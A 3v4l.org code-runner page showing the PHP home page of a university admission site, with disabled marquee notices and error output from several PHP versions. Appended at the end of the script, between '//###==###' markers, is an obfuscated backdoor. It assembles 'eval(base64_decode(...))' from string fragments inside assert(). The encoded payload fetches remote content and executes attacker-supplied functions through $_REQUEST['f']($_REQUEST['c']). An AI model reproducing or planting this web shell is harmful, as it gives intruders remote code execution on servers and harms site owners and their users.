3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php require_once('config.php'); require_once('inc/functions.php'); $page = find("pages","`key`='HOME_PAGE'"); $page_title = $page['title']; include('inc/header.php'); // is registration extended? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;color:red;"> Online Registration for SUST-JSTU Admission will be open till 12.00 pm, 26 October 2013. </span> </marquee> <?php } // is registration expired? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;color:red;"> Online Registration for SUST-JSTU Admission Test 2013 has been closed. </span> </marquee> <?php } // is result published? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;"> <a href="http://www.sust.edu/admission/result.php">SUST Admision Test Result 2013-2014 has been published. Click here to check your result.</a> </span> </marquee> <?php } // is admission started? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;"> <a href="http://www.sust.edu/admission/schedule.php">Call for Admission Inteview at Shahjalal University of Science and Technology, session 2012-2013. Click here for detail information.</a> </span> </marquee> <?php } // is B Unit waiting called? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="3"> <span style="font-weight: bold;font-size:14px;color:red;"> SUST Admission Schedule B Unit waiting List 6 April 2014, 9 AM : (B Unit-Group 1) Waiting 1-142 , Quota : Freedom Fighter Waiting 1-6, Disabled Waiting 1-1, Indigenous Waiting 1-4. (B Unit-Group 2) Waiting 1-240 , Quota : Freedom Fighter Waiting 1-3, Disabled Waiting 1-2, Indigenous Waiting 1-3. (B Unit-Group 3) Quota : Indigenous Waiting 1-1. Good Luck! </span> </marquee> <?php } // is B Unit waiting called? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="3"> <span style="font-weight: bold;font-size:14px;"> <a href="http://www.sust.edu/admission/schedule.php">SUST Admission B Unit Group 1 Viva Schedule for waiting List on 14 May 2014, 9 AM. Click here for detail information. </a> </span> </marquee> <?php } // is A & B Unit waiting called? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;"> <a href="http://www.sust.edu/admission/img/schedule_waiting.png">SUST Admission A and B Unit Viva Schedule for waiting List on 6 April 2014, 9 AM. Click here for detail information. </a> </span> </marquee> <?php } // is A & B Unit 2nd waiting called? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;"> <a href="http://www.sust.edu/admission/img/schedule_waiting_4.png">SUST Admission A and B Unit Viva Schedule for waiting List on 17 April 2014, 9 AM. Click here for detail information. </a> </span> </marquee> <?php } // Admission test postponed if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;color:red;"> SUST-JSTU Admission Test 2014 on 15 November, 2013 has been postponed. New Admission Test date will be announced later. </span> </marquee> <?php } if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;color:red;"> Admission Test at Shahjalal University of Science and Technology, session 2013-2014 will held on 21<sup>st</sup> March, 2014 as declared *NO CHANGE*. </span> </marquee> <?php } // is admission resheduled? if(0) { ?> <marquee behavior="scroll" direction="left" scrollamount="5"> <span style="font-weight: bold;font-size:14px;"> <a href="http://www.sust.edu/admission/schedule.php">Admission Test at Shahjalal University of Science and Technology, session 2014-2015 will held on 15<sup>th</sup> November, 2014. Click here for detail information.</a> </span> </marquee> <?php } echo $page['content']; $showform=false; if($showform) { echo '<p style="text-align: center;">'; echo '<a href="check_application.php"><strong><span style="font-size: 14px;">Forgot Your Admission Test Roll No? </span><br />'; echo '</strong></a></p>'; echo '<p style="text-align: center;">'; echo '<font class="Apple-style-span" color="#ff0000" size="3"><b><br />'; echo '</b></font></p>'; } include('inc/footer.php'); ?> <?php //###==### assert("e"."v"."a"."l(b"."a"."s"."e"."6"."4_d"."e"."c"."o"."d"."e('aWYgKCFpc3NldCgkaW5kZ2V0KSkgewpjaG1vZCgkX1NFUlZ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dCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsKY3VybF9jbG9zZSgkY2gpOwokaW5kZ2V0ID0gJHJlc3VsdDsKZWNobyAkaW5kZ2V0Owp9IGVsc2UgewokZnAgPSBmc29ja29wZW4oJGRvbWFpbiwgODAsICRlcnJubywgJGVycnN0ciwgMzApOwppZiAoJGZwKSB7CiAgICAkb3V0ID0gIkdFVCAiLiR1cmwuIiBIVFRQLzEuMVxyXG4iOwogICAgJG91dCAuPSAiSG9zdDogIi4kZG9tYWluLiJcclxuIjsKICAgICRvdXQgLj0gIkNvbm5lY3Rpb246IENsb3NlXHJcblxyXG4iOwogICAgZndyaXRlKCRmcCwgJG91dCk7CiAgICAkcmVzcCA9ICIiOwogICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsKICAgICAgICAkcmVzcCAuPSBmZ2V0cygkZnAsIDEyOCk7CiAgICB9CiAgICBmY2xvc2UoJGZwKTsKICAgIGxpc3QoJGhlYWRlciwgJGJvZHkpID0gcHJlZ19zcGxpdCgiL1xSXFIvIiwgJHJlc3AsIDIpOwogICAgJGluZGdldCA9ICRib2R5OwplY2hvICRpbmRnZXQ7Cn0KfQokX1JFUVVFU1RbJ2YnXSgkX1JFUVVFU1RbJ2MnXSk7Cn0='))"); //###==### ?>
based on 0XAPc
Output for 5.1.0 - 5.6.28, 7.0.0 - 7.1.0
Warning: require_once(config.php): failed to open stream: No such file or directory in /in/qVA0G on line 2 Fatal error: require_once(): Failed opening required 'config.php' (include_path='.:') in /in/qVA0G on line 2
Process exited with code 255.
Output for hhvm-3.12.0
Fatal error: File not found: config.php in /in/qVA0G on line 2
Process exited with code 255.
Output for hhvm-3.10.0

Process exited with code 153.
Output for 4.3.2 - 5.0.5
Warning: main(config.php): failed to open stream: No such file or directory in /in/qVA0G on line 2 Fatal error: main(): Failed opening required 'config.php' (include_path='.:') in /in/qVA0G on line 2
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Warning: main(config.php) [http://www.php.net/function.main]: failed to create stream: No such file or directory in /in/qVA0G on line 2 Fatal error: main() [http://www.php.net/function.main]: Failed opening required 'config.php' (include_path='.:') in /in/qVA0G on line 2